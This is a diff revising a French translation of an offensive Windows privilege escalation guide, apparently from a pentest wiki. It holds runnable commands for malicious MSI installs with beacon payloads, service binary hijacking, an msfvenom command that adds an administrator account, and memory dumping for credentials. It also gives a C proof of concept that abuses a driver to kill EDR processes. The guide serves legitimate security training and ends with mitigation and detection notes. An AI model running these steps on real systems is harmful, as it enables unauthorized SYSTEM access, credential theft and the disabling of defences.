+> De plus, puisque le service WSUS utilise les paramètres de l'utilisateur courant, il utilisera également son magasin de certificats. Si nous générons un certificat auto-signé pour le nom d'hôte WSUS et ajoutons ce certificat dans le magasin de certificats de l'utilisateur courant, nous pourrons intercepter le trafic WSUS en HTTP et HTTPS. WSUS n'utilise aucun mécanisme similaire à HSTS pour implémenter une validation de type trust-on-first-use du certificat. Si le certificat présenté est approuvé par l'utilisateur et possède le nom d'hôte correct, il sera accepté par le service.
 
-Vous pouvez exploiter cette vulnérabilité en utilisant l'outil [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (une fois qu'il sera libéré).
+Vous pouvez exploiter cette vulnérabilité avec l'outil [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (une fois disponible).
 
 ## Third-Party Auto-Updaters and Agent IPC (local privesc)
 
-De nombreux agents d'entreprise exposent une surface IPC sur localhost et un canal de mise à jour privilégié. Si l'enrôlement peut être forcé vers un serveur de l'attaquant et que l'updater fait confiance à une CA racine malveillante ou effectue des vérifications de signature faibles, un utilisateur local peut fournir un MSI malveillant que le service SYSTEM installe. Voir une technique généralisée (basée sur la chaîne Netskope stAgentSvc – CVE-2025-0309) ici :
+De nombreux agents d'entreprise exposent une surface IPC localhost et un canal de mise à jour privilégié. Si l'enrôlement peut être forcé vers un serveur d'attaquant et que l'updater fait confiance à un root CA malveillant ou présente des vérifications de signature faibles, un utilisateur local peut livrer un MSI malveillant que le service SYSTEM installe. Voir une technique généralisée (basée sur la chaîne Netskope stAgentSvc – CVE-2025-0309) ici :
 
 {{#ref}}
 abusing-auto-updaters-and-ipc.md
@@ -212,15 +213,15 @@ abusing-auto-updaters-and-ipc.md
 
 ## KrbRelayUp
 
-A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.
+Une vulnérabilité de **local privilege escalation** existe dans les environnements Windows **domain** sous des conditions spécifiques. Ces conditions incluent des environnements où **LDAP signing is not enforced**, les utilisateurs disposent de droits leur permettant de configurer **Resource-Based Constrained Delegation (RBCD)**, et la capacité des utilisateurs à créer des ordinateurs dans le domaine. Il est important de noter que ces **exigences** sont remplies avec les paramètres **par défaut**.
 
 Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
-For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
+Pour plus d'informations sur le déroulement de l'attaque, consultez [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
 
 ## AlwaysInstallElevated
 
-**Si** ces 2 entrées de registre sont **activées** (valeur **0x1**), alors des utilisateurs de n'importe quel niveau de privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
+**Si** ces 2 valeurs du registre sont **activées** (valeur **0x1**), alors des utilisateurs de n'importe quel niveau de privilège peuvent **installer** (exécuter) `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -234,7 +235,7 @@ Si vous avez une session meterpreter vous pouvez automatiser cette technique en
 
 ### PowerUP
 
-Utilisez la commande `Write-UserAddMSI` de power-up pour créer dans le répertoire courant un binaire MSI Windows permettant d'escalader les privilèges. Ce script écrit un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GUI) :
+Utilisez la commande `Write-UserAddMSI` de power-up pour créer dans le répertoire courant un binaire MSI Windows permettant d'escalader les privilèges. Ce script écrit un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GIU) :
 ```
 Write-UserAddMSI
 ```
@@ -242,7 +243,7 @@ Exécutez simplement le binaire créé pour escalader les privilèges.
 
 ### MSI Wrapper
 
-Lisez ce tutoriel pour apprendre comment créer un MSI wrapper en utilisant ces outils. Notez que vous pouvez emballer un "**.bat**" si vous **just** voulez **exécuter** **lignes de commande**
+Lisez ce tutoriel pour apprendre à créer un MSI wrapper en utilisant ces outils. Notez que vous pouvez wrapper un fichier "**.bat**" si vous **juste** voulez **exécuter** des **lignes de commande**
 
 
 {{#ref}}
@@ -256,24 +257,24 @@ msi-wrapper.md
 create-msi-with-wix.md
 {{#endref}}
 
-### Créer un MSI avec Visual Studio
+### Create MSI with Visual Studio
 
-- **Générez** avec Cobalt Strike ou Metasploit un **nouveau Windows EXE TCP payload** dans `C:\privesc\beacon.exe`
+- **Générez** avec Cobalt Strike ou Metasploit un **new Windows EXE TCP payload** dans `C:\privesc\beacon.exe`
 - Ouvrez **Visual Studio**, sélectionnez **Create a new project** et tapez "installer" dans la zone de recherche. Sélectionnez le projet **Setup Wizard** et cliquez sur **Next**.
 - Donnez au projet un nom, comme **AlwaysPrivesc**, utilisez **`C:\privesc`** pour l'emplacement, sélectionnez **place solution and project in the same directory**, et cliquez sur **Create**.
 - Continuez à cliquer sur **Next** jusqu'à atteindre l'étape 3 sur 4 (choose files to include). Cliquez sur **Add** et sélectionnez le Beacon payload que vous venez de générer. Puis cliquez sur **Finish**.
-- Sélectionnez le projet **AlwaysPrivesc** dans le **Solution Explorer** et, dans les **Properties**, changez **TargetPlatform** de **x86** en **x64**.
-- Il existe d'autres propriétés que vous pouvez modifier, comme **Author** et **Manufacturer**, ce qui peut rendre l'application installée plus légitime.
-- Cliquez droit sur le projet et sélectionnez **View > Custom Actions**.
-- Cliquez droit sur **Install** et sélectionnez **Add Custom Action**.
-- Double-cliquez sur **Application Folder**, sélectionnez votre fichier **beacon.exe** et cliquez sur **OK**. Cela garantira que le beacon payload est exécuté dès que l'installateur est lancé.
-- Dans les **Custom Action Properties**, changez **Run64Bit** à **True**.
+- Sélectionnez le projet **AlwaysPrivesc** dans le **Solution Explorer** et, dans les **Properties**, changez **TargetPlatform** de **x86** à **x64**.
+- Il y a d'autres propriétés que vous pouvez modifier, comme **Author** et **Manufacturer**, ce qui peut rendre l'application installée plus légitime.
+- Cliquez-droit sur le projet et sélectionnez **View > Custom Actions**.
+- Cliquez-droit sur **Install** et sélectionnez **Add Custom Action**.
+- Double-cliquez sur **Application Folder**, sélectionnez votre fichier **beacon.exe** et cliquez sur **OK**. Cela garantira que le Beacon payload est exécuté dès que l'installateur est lancé.
+- Sous les **Custom Action Properties**, changez **Run64Bit** en **True**.
 - Enfin, **build it**.
-- Si l'avertissement `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` apparaît, assurez-vous d'avoir défini la plateforme sur x64.
+- Si l'avertissement `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` s'affiche, assurez-vous de définir la plateforme sur x64.
 
-### Installation du MSI
+### MSI Installation
 
-Pour exécuter l'**installation** du fichier `.msi` malveillant en **arrière-plan :**
+Pour exécuter l'**installation** du fichier `.msi` malveillant en **arrière-plan**:
 ```
 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 ```
@@ -283,7 +284,7 @@ Pour exploiter cette vulnérabilité, vous pouvez utiliser : _exploit/windows/lo
 
 ### Paramètres d'audit
 
-Ces paramètres déterminent ce qui est **journalisé**, vous devez donc y prêter attention
+Ces paramètres déterminent ce qui est **journalisé**, vous devriez donc y prêter attention
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
@@ -295,7 +296,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 ```
 ### LAPS
 
-**LAPS** est conçu pour la gestion des mots de passe locaux du compte Administrator, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints au domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne peuvent être consultés que par des utilisateurs à qui des permissions suffisantes ont été accordées via les ACLs, leur permettant de voir les mots de passe admin locaux si autorisés.
+**LAPS** est conçu pour la **gestion des mots de passe Administrator locaux**, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être consultés que par des utilisateurs auxquels des permissions suffisantes ont été accordées via les ACLs, leur permettant de voir les mots de passe admin locaux si autorisés.
 
 
 {{#ref}}
@@ -304,34 +305,34 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 
 ### WDigest
 
-Si activé, **les mots de passe en clair sont stockés dans LSASS** (Local Security Authority Subsystem Service).\
-[**Plus d'infos sur WDigest dans cette page**](../stealing-credentials/credentials-protections.md#wdigest).
+Si actif, **les mots de passe en clair sont stockés dans LSASS** (Local Security Authority Subsystem Service).\
+[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
 ```bash
 reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
 ```
-### Protection LSA
+### LSA Protection
 
-À partir de **Windows 8.1**, Microsoft a introduit une protection renforcée pour l'Autorité de sécurité locale (LSA) afin de **bloquer** les tentatives de processus non approuvés de **lire sa mémoire** ou d'injecter du code, renforçant ainsi la sécurité du système.\  
-[**Plus d'informations sur la protection LSA ici**](../stealing-credentials/credentials-protections.md#lsa-protection).
+À partir de **Windows 8.1**, Microsoft a introduit une protection renforcée pour la Local Security Authority (LSA) afin de **bloquer** les tentatives de processus non fiables de **lire sa mémoire** ou d'injecter du code, renforçant ainsi la sécurité du système.\
+[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
 ```bash
 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
 ### Credentials Guard
 
-**Credential Guard** a été introduit dans **Windows 10**. Son objectif est de protéger les credentials stockés sur un appareil contre des menaces telles que les attaques pass-the-hash.| [**Plus d'informations sur Credential Guard ici.**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** a été introduit dans **Windows 10**. Son objectif est de protéger les credentials stockées sur un appareil contre des menaces telles que les attaques pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
 ```bash
 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ```
 ### Cached Credentials
 
-Les **Domain credentials** sont authentifiées par la **Local Security Authority** (LSA) et utilisées par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un package de sécurité enregistré, les **Domain credentials** de l'utilisateur sont généralement établies.\
+**Domain credentials** sont authentifiés par la **Local Security Authority** (LSA) et utilisés par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un security package enregistré, les domain credentials de l'utilisateur sont généralement établis.\
 [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
 ## Utilisateurs & Groupes
 
-### Énumérer les utilisateurs & Groupes
+### Énumérer les utilisateurs & groupes
 
 Vous devriez vérifier si l'un des groupes auxquels vous appartenez possède des permissions intéressantes.
 ```bash
@@ -350,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
 ```
 ### Groupes privilégiés
 
-Si vous **appartenez à un groupe privilégié, vous pouvez être en mesure d'escalader vos privilèges**. Apprenez-en davantage sur les groupes privilégiés et comment les exploiter pour escalader les privilèges ici :
+Si vous **appartenez à un groupe privilégié, vous pourriez être en mesure d'escalader les privilèges**. En savoir plus sur les groupes privilégiés et comment les abuser pour escalader les privilèges ici :
 
 
 {{#ref}}
@@ -360,7 +361,7 @@ Si vous **appartenez à un groupe privilégié, vous pouvez être en mesure d'es
 ### Manipulation de tokens
 
 **En savoir plus** sur ce qu'est un **token** sur cette page : [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Consultez la page suivante pour **en apprendre davantage sur les tokens intéressants** et comment les exploiter :
+Consultez la page suivante pour **découvrir les tokens intéressants** et comment les abuser :
 
 
 {{#ref}}
@@ -377,7 +378,7 @@ klist sessions
 dir C:\Users
 Get-ChildItem C:\Users
 ```
-### Politique de mots de passe
+### Politique des mots de passe
 ```bash
 net accounts
 ```
@@ -385,12 +386,12 @@ net accounts
 ```bash
 powershell -command "Get-Clipboard"
 ```
-## Processus en cours
+## Processus en cours d'exécution
 
 ### Permissions des fichiers et dossiers
 
-Avant tout, en listant les processus, **vérifiez la présence de mots de passe dans la ligne de commande du processus**.\
-Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez les permissions d'écriture sur le dossier du binaire afin d'exploiter d'éventuels [**DLL Hijacking attacks**](dll-hijacking/index.html):
+Tout d'abord, en listant les processus, vérifiez **la présence de mots de passe dans la ligne de commande du processus**.\
+Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez les permissions d'écriture sur le dossier du binaire afin d'exploiter d'éventuelles [**DLL Hijacking attacks**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -401,9 +402,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
 #Without usernames
 Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
 ```
-Vérifiez toujours la présence de [**electron/cef/chromium debuggers** en cours d'exécution — vous pouvez les exploiter pour escalader les privilèges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** en cours d'exécution, vous pourriez les exploiter pour escalader les privilèges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
 
-**Vérifier les permissions des binaries des processus**
+**Vérifier les permissions des binaires des processus**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
 for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@@ -412,7 +413,7 @@ icacls "%%z"
 )
 )
 ```
-**Vérifier les permissions des dossiers contenant les binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
+**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -422,19 +423,19 @@ todos %username%" && echo.
 ```
 ### Memory Password mining
 
-Vous pouvez créer un memory dump d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **credentials in clear text in memory**, essayez de dumper la mémoire et lire les credentials.
+Vous pouvez créer un dump mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP conservent les **credentials in clear text in memory** ; essayez de dumper la mémoire et de lire les credentials.
 ```bash
 procdump.exe -accepteula -ma 
 ```
 ### Applications GUI non sécurisées
 
-**Des applications s'exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD, ou de parcourir des répertoires.**
+**Les applications s'exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD ou de parcourir des répertoires.**
 
 Exemple : "Windows Help and Support" (Windows + F1), rechercher "command prompt", cliquer sur "Click to open Command Prompt"
 
 ## Services
 
-Obtenir la liste des services:
+Lister les services :
 ```bash
 net start
 wmic service list brief
@@ -447,7 +448,7 @@ Vous pouvez utiliser **sc** pour obtenir des informations sur un service
 ```bash
 sc qc 
 ```
-Il est recommandé d'avoir le binaire **accesschk** de _Sysinternals_ pour vérifier le niveau de privilège requis pour chaque service.
+Il est recommandé de disposer du binary **accesschk** de _Sysinternals_ pour vérifier le niveau de privilège requis pour chaque service.
 ```bash
 accesschk.exe -ucqv  #Check rights for different groups
 ```
@@ -462,10 +463,10 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 
 ### Activer le service
 
-Si vous obtenez cette erreur (par exemple avec SSDPSRV) :
+Si vous rencontrez cette erreur (par exemple avec SSDPSRV) :
 
-_System error 1058 has occurred._\
-_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
+_Erreur système 1058 s'est produite._\
+_Le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a aucun périphérique activé qui lui est associé._
 
 Vous pouvez l'activer en utilisant
 ```bash
@@ -474,11 +475,11 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
 **Prenez en compte que le service upnphost dépend de SSDPSRV pour fonctionner (pour XP SP1)**
 
-**Une autre solution de contournement à ce problème consiste à exécuter:**
+**Une autre solution de contournement à ce problème consiste à exécuter :**
 ```
 sc.exe config usosvc start= auto
 ```
-### **Modifier le chemin binaire du service**
+### **Modifier le chemin du binaire du service**
 
 Dans le scénario où le groupe "Authenticated users" possède **SERVICE_ALL_ACCESS** sur un service, il est possible de modifier le binaire exécutable du service. Pour modifier et exécuter **sc**:
 ```bash
@@ -493,20 +494,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
 wmic service NAMEOFSERVICE call startservice
 net stop [service name] && net start [service name]
 ```
-Les privilèges peuvent être escaladés via différentes permissions :
+Les privilèges peuvent être escaladés par différentes permissions :
 
-- **SERVICE_CHANGE_CONFIG** : Permet la reconfiguration du binaire du service.
-- **WRITE_DAC** : Permet la reconfiguration des permissions, conduisant à la capacité de modifier les configurations du service.
-- **WRITE_OWNER** : Permet l'acquisition de la propriété et la reconfiguration des permissions.
-- **GENERIC_WRITE** : Hérite de la capacité à modifier les configurations du service.
-- **GENERIC_ALL** : Hérite également de la capacité à modifier les configurations du service.
+- **SERVICE_CHANGE_CONFIG**: Permet de reconfigurer le binaire du service.
+- **WRITE_DAC**: Permet de reconfigurer les permissions, ce qui permet de modifier la configuration des services.
+- **WRITE_OWNER**: Permet d'acquérir la propriété et de reconfigurer les permissions.
+- **GENERIC_WRITE**: Donne la possibilité de modifier la configuration des services.
+- **GENERIC_ALL**: Donne également la possibilité de modifier la configuration des services.
 
 Pour la détection et l'exploitation de cette vulnérabilité, _exploit/windows/local/service_permissions_ peut être utilisé.
 
-### Permissions faibles des binaires de service
+### Services binaries weak permissions
 
-**Vérifiez si vous pouvez modifier le binaire exécuté par un service** ou si vous avez **les permissions d'écriture sur le dossier** où le binaire est situé ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
-Vous pouvez obtenir chaque binaire exécuté par un service en utilisant **wmic** (not in system32) et vérifier vos permissions avec **icacls**:
+**Vérifiez si vous pouvez modifier le binaire qui est exécuté par un service** ou si vous avez **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
+Vous pouvez obtenir tous les binaires exécutés par un service en utilisant **wmic** (not in system32) et vérifier vos permissions avec **icacls**:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
 
@@ -520,8 +521,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
 ```
 ### Permissions de modification du registre des services
 
-Vous devriez vérifier si vous pouvez modifier un registre de service.\
-Vous pouvez **vérifier** vos **permissions** sur un **registre** de service en faisant :
+Vérifiez si vous pouvez modifier le registre de n'importe quel service.\
+Vous pouvez **vérifier** vos **autorisations** sur un **registre** de service en faisant:
 ```bash
 reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
 
@@ -530,32 +531,31 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
 
 get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone"
 ```
-Il faut vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent les permissions `FullControl`. Le cas échéant, le binary exécuté par le service peut être modifié.
+Il faut vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent les permissions `FullControl`. Le cas échéant, le binaire exécuté par le service peut être modifié.
 
-Pour changer le Path du binary exécuté :
+Pour changer le Path du binaire exécuté:
 ```bash
 reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
 ```
-### Services registry AppendData/AddSubdirectory permissions
-
-Si vous avez cette permission sur un registry cela signifie que **vous pouvez créer des sous-registry à partir de celui-ci**. Dans le cas des Windows services cela est **suffisant pour exécuter du arbitrary code :**
+### Registre des services — autorisations AppendData/AddSubdirectory
 
+Si vous avez cette permission sur une clé de registre, cela signifie **que vous pouvez créer des sous-clés de registre à partir de celle-ci**. Dans le cas des services Windows, cela suffit **pour exécuter du code arbitraire :**
 
 {{#ref}}
 appenddata-addsubdirectory-permission-over-service-registry.md
 {{#endref}}
 
-### Unquoted Service Paths
+### Chemins de service non entre guillemets
 
-Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque terminaison avant un espace.
+Si le chemin vers un exécutable n'est pas entre guillemets, Windows tentera d'exécuter chaque fragment se terminant avant un espace.
 
-Par exemple, pour le chemin _C:\Program Files\Some Folder\Service.exe_ Windows essaiera d'exécuter:
+For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute:
 ```bash
 C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe
 ```
-Lister tous les chemins de service non entre guillemets, en excluant ceux appartenant aux services Windows intégrés :
+Lister tous les chemins de services non entre guillemets, à l'exclusion de ceux appartenant aux services Windows intégrés :
 ```bash
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services
@@ -575,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
 ```bash
 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
 ```
-**Vous pouvez détecter et exploiter** cette vulnérabilité avec metasploit: `exploit/windows/local/trusted\_service\_path` Vous pouvez créer manuellement un binaire de service avec metasploit:
+**Vous pouvez détecter et exploiter** cette vulnérabilité avec metasploit : `exploit/windows/local/trusted\_service\_path` Vous pouvez créer manuellement un binaire de service avec metasploit :
 ```bash
 msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
 ```
 ### Actions de récupération
 
-Windows permet aux utilisateurs de spécifier des actions à effectuer si un service échoue. Cette fonctionnalité peut être configurée pour pointer vers un binary. Si ce binary est remplaçable, une privilege escalation pourrait être possible. Plus de détails sont disponibles dans la [documentation officielle]().
+Windows permet aux utilisateurs de spécifier des actions à effectuer si un service échoue. Cette fonctionnalité peut être configurée pour pointer vers un binary. Si ce binary est remplaçable, privilege escalation pourrait être possible. Plus de détails sont disponibles dans la [documentation officielle]().
 
 ## Applications
 
 ### Applications installées
 
-Vérifiez les **permissions of the binaries** (peut-être pouvez-vous overwrite l'un d'eux et escalate privileges) et celles des **folders** ([DLL Hijacking](dll-hijacking/index.html)).
+Vérifiez les **permissions des binaries** (peut-être pouvez-vous en écraser un et escalate privileges) et des **dossiers** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -598,9 +598,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 ```
 ### Permissions d'écriture
 
-Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier sensible, ou si vous pouvez modifier un binaire qui sera exécuté par un compte Administrateur (schedtasks).
+Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier spécial ou si vous pouvez modifier un binaire qui va être exécuté par un compte Administrator (schedtasks).
 
-Une façon de trouver des permissions faibles sur les dossiers/fichiers du système est de :
+Une façon de trouver des permissions faibles sur des dossiers/fichiers dans le système est de faire :
 ```bash
 accesschk.exe /accepteula
 # Find all weak folder permissions per drive.
@@ -625,8 +625,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 ```
 ### Exécution au démarrage
 
-**Vérifiez si vous pouvez écraser un registry ou un binary qui va être exécuté par un autre utilisateur.**\
-**Lisez** la **page suivante** pour en savoir plus sur les **autoruns locations to escalate privileges**:
+**Vérifiez si vous pouvez écraser une clé du registry ou un binary qui sera exécuté par un autre user.**\
+**Consultez** la **page suivante** pour en savoir plus sur des **autoruns locations to escalate privileges** intéressantes :
 
 
 {{#ref}}
@@ -635,13 +635,13 @@ privilege-escalation-with-autorun-binaries.md
 
 ### Drivers
 
-Recherchez d'éventuels **third party weird/vulnerable** drivers
+Recherchez d'éventuels **drivers tiers bizarres/vulnérables**
 ```bash
 driverquery
 driverquery.exe /fo table
 driverquery /SI
 ```
-Si un driver expose une primitive de lecture/écriture arbitraire du kernel (courante dans des handlers IOCTL mal conçus), vous pouvez escalader en volant un SYSTEM token directement depuis la mémoire kernel. Voir la technique pas‑à‑pas ici :
+Si un driver expose un primitive de lecture/écriture arbitraire du kernel (commun dans des IOCTL handlers mal conçus), vous pouvez escalader en volant un token SYSTEM directement depuis la mémoire du kernel. Voir la technique étape par étape ici :
 
 {{#ref}}
 arbitrary-kernel-rw-token-theft.md
@@ -649,15 +649,15 @@ arbitrary-kernel-rw-token-theft.md
 
 #### Abuser de l'absence de FILE_DEVICE_SECURE_OPEN sur les device objects (LPE + EDR kill)
 
-Certains drivers tiers signés créent leur device object avec un SDDL strict via IoCreateDeviceSecure mais oublient de définir FILE_DEVICE_SECURE_OPEN dans DeviceCharacteristics. Sans ce flag, la DACL sécurisée n'est pas appliquée lorsque le device est ouvert via un chemin contenant un composant supplémentaire, permettant à tout utilisateur non privilégié d'obtenir un handle en utilisant un namespace path comme :
+Certains drivers tiers signés créent leur device object avec un SDDL strict via IoCreateDeviceSecure mais oublient de définir FILE_DEVICE_SECURE_OPEN dans DeviceCharacteristics. Sans ce flag, la DACL sécurisée n'est pas appliquée lorsque le device est ouvert via un chemin contenant un composant supplémentaire, permettant à tout utilisateur non privilégié d'obtenir un handle en utilisant un namespace path tel que :
 
-- \\ .\\DeviceName\\anything
-- \\ .\\amsdk\\anyfile (extrait d'un cas réel)
+- \\.\DeviceName\anything
+- \\.\amsdk\anyfile (from a real-world case)
 
-Une fois qu'un utilisateur peut ouvrir le device, les IOCTL privilégiés exposés par le driver peuvent être abusés pour du LPE et du tampering. Exemples de capacités observées sur le terrain :
-- Retourner des handles avec accès complet vers des processus arbitraires (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
-- Lecture/écriture brute du disque sans restriction (offline tampering, boot-time persistence tricks).
-- Terminer des processus arbitraires, y compris Protected Process/Light (PP/PPL), permettant le kill d'AV/EDR depuis l'espace utilisateur via le kernel.
+Une fois qu'un utilisateur peut ouvrir le device, les IOCTLs privilégiés exposés par le driver peuvent être abusés pour LPE et tampering. Exemples de capacités observées en conditions réelles :
+- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
+- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
+- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
 
 Minimal PoC pattern (user mode):
 ```c
@@ -671,21 +671,21 @@ DWORD target = /* PID to kill or open */;
 DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
 DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
 ```
-Mesures d'atténuation pour les développeurs
-- Toujours définir FILE_DEVICE_SECURE_OPEN lors de la création d'objets de périphérique destinés à être restreints par un DACL.
+Atténuations pour les développeurs
+- Toujours définir FILE_DEVICE_SECURE_OPEN lors de la création de device objects destinés à être restreints par une DACL.
 - Valider le contexte de l'appelant pour les opérations privilégiées. Ajouter des vérifications PP/PPL avant d'autoriser la terminaison d'un processus ou le retour de handles.
-- Restreindre les IOCTLs (access masks, METHOD_*, validation des entrées) et envisager des brokered models plutôt que des kernel privileges directs.
+- Restreindre les IOCTLs (access masks, METHOD_*, validation des entrées) et envisager des brokered models plutôt que des privilèges kernel directs.
 
 Idées de détection pour les défenseurs
-- Surveiller les ouvertures en espace utilisateur des noms de périphérique suspects (p.ex., \\ .\\amsdk*) et les séquences IOCTL spécifiques indicatives d'un abus.
-- Appliquer la blocklist de drivers vulnérables de Microsoft (HVCI/WDAC/Smart App Control) et maintenir vos propres listes d'autorisation/refus.
+- Surveiller les ouvertures en mode utilisateur de noms de device suspects (e.g., \\ .\\amsdk*) et des séquences IOCTL spécifiques indiquant un abus.
